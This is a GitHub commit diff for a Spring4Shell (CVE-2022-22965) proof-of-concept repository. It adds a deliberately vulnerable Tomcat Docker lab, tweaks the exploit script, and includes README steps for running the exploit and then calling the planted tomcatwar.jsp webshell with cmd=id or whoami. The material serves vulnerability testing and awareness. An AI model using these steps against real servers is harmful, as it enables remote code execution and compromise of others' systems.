Skip to content

Commit 27f9c11

Browse files
Added an example venerable tomcat setup
1 parent 7a713b9 commit 27f9c11

File tree

22 files changed

+1087
-34
lines changed

22 files changed

+1087
-34
lines changed

README.md

Lines changed: 24 additions & 32 deletions
Original file line numberDiff line numberDiff line change
@@ -1,23 +1,35 @@
11
# Spring4Shell-POC (CVE-2022-22965)
2+
23
![spring4shell](spring4shell.png)
34

4-
Spring4Shell (CVE-2022-22965) Proof Of Concept/Information
5+
Spring4Shell (CVE-2022-22965) Proof Of Concept/Information + A vulnerable Tomcat server with a vulnerable spring4shell application.
56

67
Early this morning, multiple sources has informed of a possible RCE exploit in the popular java framework spring.
78

8-
The naming of this flaw is based on the similarities to the infamous Log4j LOG4Shell.
9-
## Details
9+
The naming of this flaw is based on the similarities to the infamous Log4j LOG4Shell.
10+
11+
## Details about this vulnerability
12+
13+
- [https://www.cyberkendra.com/2022/03/springshell-rce-0-day-vulnerability.html](https://www.cyberkendra.com/2022/03/springshell-rce-0-day-vulnerability.html)
14+
- [https://bugalert.org/content/notices/2022-03-29-spring.html](https://bugalert.org/content/notices/2022-03-29-spring.html)
15+
- [https://websecured.io/blog/624411cf775ad17d72274d16/spring4shell-poc](https://websecured.io/blog/624411cf775ad17d72274d16/spring4shell-poc)
16+
- [https://www.springcloud.io/post/2022-03/spring-0day-vulnerability](https://www.springcloud.io/post/2022-03/spring-0day-vulnerability)
17+
- [https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement](https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement)
18+
19+
## Vulnerable Tomcat server
20+
21+
I have now made a docker image for this, which includes a vulnerable spring + tomcat application.
1022

11-
* [https://www.cyberkendra.com/2022/03/springshell-rce-0-day-vulnerability.html](https://www.cyberkendra.com/2022/03/springshell-rce-0-day-vulnerability.html)
12-
* [https://bugalert.org/content/notices/2022-03-29-spring.html](https://bugalert.org/content/notices/2022-03-29-spring.html)
13-
* [https://websecured.io/blog/624411cf775ad17d72274d16/spring4shell-poc](https://websecured.io/blog/624411cf775ad17d72274d16/spring4shell-poc)
14-
* [https://www.springcloud.io/post/2022-03/spring-0day-vulnerability](https://www.springcloud.io/post/2022-03/spring-0day-vulnerability)
15-
* [https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement](https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement)
23+
The application should be enough to test this vulnerability.
24+
25+
[Please see (vulnerable-tomcat/README.md)](vulnerable-tomcat/README.md)
1626

1727
## Requirements
18-
* Python3 Or Docker
1928

20-
## Usage:
29+
- Python3 Or Docker
30+
31+
## Usage
32+
2133
```python
2234
pip install -r requirements.txt
2335
poc.py --help
@@ -32,24 +44,6 @@ docker run ghcr.io/bobtheshoplifter/spring4shell-poc:main --url https://example.
3244

3345
![image](https://user-images.githubusercontent.com/22559547/161400099-fb6c4f02-9d48-457a-8c91-041a9a8438b7.png)
3446

35-
36-
37-
## Poc
38-
39-
Found intresting poc here : https://github.com/craig/SpringCore0day/blob/main/exp.py [^1]. & https://twitter.com/vxunderground/status/1509170582469943303
40-
41-
https://github.com/reznok/Spring4Shell-POC - Docker, POC
42-
43-
* clone sample repo from https://spring.io/guides/gs/handling-form-submission/
44-
* you can skip right to the gs-handling-form-submission/complete directory, no need to follow the tutorial
45-
* modify it so that you can build a war file (https://www.baeldung.com/spring-boot-war-tomcat-deploy). build war file :)
46-
* install tomcat9 + java 11 (i did it on ubuntu 20.04 via apt-get)
47-
* deploy the war file
48-
* update the PoC (https://share.vx-underground.org/) to write the tomcatwar.jsp file to webapps/handling-form-submission instead of webapps/ROOT
49-
* run PoC (ignore the URL it gives you for the webshell): python3 exp.py --url http://your.ip.here:8080/handling-form-submission-complete/greeting
50-
* you should see the "tomcatwar.jsp" file now in webapps/handling-form-submission
51-
* hit http://your.ip.here:8080/handling-form-submission/tomcatwar.jsp?pwd=j&cmd=id to see the results
52-
5347
## Mitigations
5448

5549
!!(The following mitigations are only theoretical as nothing has been confirmed)!!
@@ -59,6 +53,7 @@ https://github.com/reznok/Spring4Shell-POC - Docker, POC
5953
Cyberkendra informed that JDK versions lower than JDK 9
6054

6155
You can easily check this by running
56+
6257
```sh
6358
java -version
6459
```
@@ -77,13 +72,10 @@ The following article will be updated
7772

7873
### Check if you are using the spring framework
7974

80-
Do a global search after "spring-beans-*.jar" and "spring*.jar"
75+
Do a global search after "spring-beans-_.jar" and "spring_.jar"
8176

8277
```sh
8378
find . -name spring-beans*.jar
8479
```
8580

86-
87-
WIP :=)
88-
8981
[^1]: POC, translated fron this repository.

poc.py

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -10,6 +10,7 @@
1010
from urllib.parse import urljoin,urlparse
1111
from threading import Thread
1212
from sys import exit
13+
import time
1314

1415

1516
class Exploit(Thread):
@@ -37,14 +38,15 @@ def run(self):
3738
timeout=15,
3839
allow_redirects=False,
3940
verify=False)
41+
time.sleep(10) ## Wait for the upload to complete
4042
shellurl = urljoin(self.url, 'tomcatwar.jsp')
4143
shellgo = requests.get(shellurl,
4244
timeout=15,
4345
allow_redirects=False,
4446
stream=True,
4547
verify=False)
4648
if shellgo.status_code == 200:
47-
print(f"Vulnerable,shell ip:{shellurl}?pwd=j&cmd=whoami")
49+
print(f"Vulnerable,shell url: {shellurl}?pwd=j&cmd=whoami")
4850

4951
## Depending on the server, the shell url may be in tomcats root folder
5052
else:
@@ -57,7 +59,7 @@ def run(self):
5759
stream=True,
5860
verify=False)
5961
if shellgoroot.status_code == 200:
60-
print(f"Vulnerable,shell ip:{shellurlroot}?pwd=j&cmd=whoami")
62+
print(f"Vulnerable,shell url: {shellurlroot}?pwd=j&cmd=whoami")
6163
else:
6264
print(f"\033[91m[" + '\u2718' + "]\033[0m", self.url,
6365
"\033[91mNot Vulnerable!\033[0m ")

vulnerable-tomcat/Dockerfile

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
FROM tomcat:9.0.60-jre11-openjdk-slim-buster
2+
3+
ADD spring-form.war /usr/local/tomcat/webapps/
4+
5+
EXPOSE 8888
6+
7+
CMD ["catalina.sh", "run"]

vulnerable-tomcat/README.md

Lines changed: 64 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,64 @@
1+
# Example of a spring4shell vulnerable Tomcat application
2+
3+
![spring4shellapplication](spring4shellapplication.png)
4+
5+
## Example (Docker)
6+
7+
An example of a vulnerable Tomcat application + server.
8+
9+
War files built from /spring-war folder. (It is recommended to build your own war files but i have provided one based on <https://spring.io/guides/gs/handling-form-submission/>)
10+
11+
### Build
12+
13+
Building the docker version of the vunurable application, you can build your own war files.
14+
15+
### Building your own war file
16+
17+
You can use the provided spring-form.war or build your own
18+
19+
#### Prerequisites (Only if building your own war files)
20+
21+
- Java
22+
- Java JDK (I have only tested with JDK 18)
23+
- [Maven](https://maven.apache.org/install.html)
24+
25+
```sh
26+
cd spring-war
27+
mvn clean package
28+
cd target
29+
mv spring-form.war ../../ # Linux move the war file to vunerable-tomcat
30+
move spring-form.war ../../ # Windows
31+
cd ../../
32+
```
33+
34+
### Building and starting the docker container
35+
36+
```sh
37+
docker build -t vulnerable-tomcat .
38+
docker run -it --rm -p 8888:8080 vulnerable-tomcat
39+
```
40+
41+
Wait about 20 seconds for the server to start. Then run the exploit script.
42+
43+
```sh
44+
python3 poc.py --url http://<dockerip>:8888/spring-form/greeting
45+
#or docker variant
46+
docker pull ghcr.io/bobtheshoplifter/spring4shell-poc:main
47+
docker run ghcr.io/bobtheshoplifter/spring4shell-poc:main --url http://<dockerip>:8888/spring-form/greeting
48+
```
49+
50+
## Example (Manual/Old)
51+
52+
Found intresting poc here : <https://github.com/craig/SpringCore0day/blob/main/exp.py> [^1]. & <https://twitter.com/vxunderground/status/1509170582469943303>
53+
54+
<https://github.com/reznok/Spring4Shell-POC> - Docker, POC
55+
56+
- clone sample repo from <https://spring.io/guides/gs/handling-form-submission/>
57+
- you can skip right to the gs-handling-form-submission/complete directory, no need to follow the tutorial
58+
- modify it so that you can build a war file (<https://www.baeldung.com/spring-boot-war-tomcat-deploy>). build war file :)
59+
- install tomcat9 + java 11 (i did it on ubuntu 20.04 via apt-get)
60+
- deploy the war file
61+
- update the PoC (<https://share.vx-underground.org/>) to write the tomcatwar.jsp file to webapps/handling-form-submission instead of webapps/ROOT
62+
- run PoC (ignore the URL it gives you for the webshell): python3 exp.py --url <http://your.ip.here:8080/handling-form-submission-complete/greeting>
63+
- you should see the "tomcatwar.jsp" file now in webapps/handling-form-submission
64+
- hit <http://your.ip.here:8080/handling-form-submission/tomcatwar.jsp?pwd=j&cmd=id> to see the results

vulnerable-tomcat/spring-form.war

18.2 MB
Binary file not shown.
Lines changed: 12 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,12 @@
1+
target/
2+
pom.xml.tag
3+
pom.xml.releaseBackup
4+
pom.xml.versionsBackup
5+
pom.xml.next
6+
release.properties
7+
dependency-reduced-pom.xml
8+
buildNumber.properties
9+
.mvn/timing.properties
10+
# https://github.com/takari/maven-wrapper#usage-without-binary-jar
11+
.mvn/wrapper/maven-wrapper.jar
12+
gradle/wrapper/gradle-wrapper.jar
Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
distributionUrl=https://repo.maven.apache.org/maven2/org/apache/maven/apache-maven/3.6.3/apache-maven-3.6.3-bin.zip
2+
wrapperUrl=https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.5.2/maven-wrapper-0.5.2.tar.gz
Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
plugins {
2+
id 'org.springframework.boot' version '2.6.3'
3+
id 'io.spring.dependency-management' version '1.0.11.RELEASE'
4+
id 'java'
5+
}
6+
7+
group = 'com.example'
8+
version = '0.0.1-SNAPSHOT'
9+
sourceCompatibility = '1.8'
10+
11+
repositories {
12+
mavenCentral()
13+
}
14+
15+
dependencies {
16+
implementation 'org.springframework.boot:spring-boot-starter-thymeleaf'
17+
implementation 'org.springframework.boot:spring-boot-starter-web'
18+
testImplementation 'org.springframework.boot:spring-boot-starter-test'
19+
}
20+
21+
test {
22+
useJUnitPlatform()
23+
}
Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
distributionBase=GRADLE_USER_HOME
2+
distributionPath=wrapper/dists
3+
distributionUrl=https\://services.gradle.org/distributions/gradle-7.1-bin.zip
4+
zipStoreBase=GRADLE_USER_HOME
5+
zipStorePath=wrapper/dists

0 commit comments

Comments
 (0)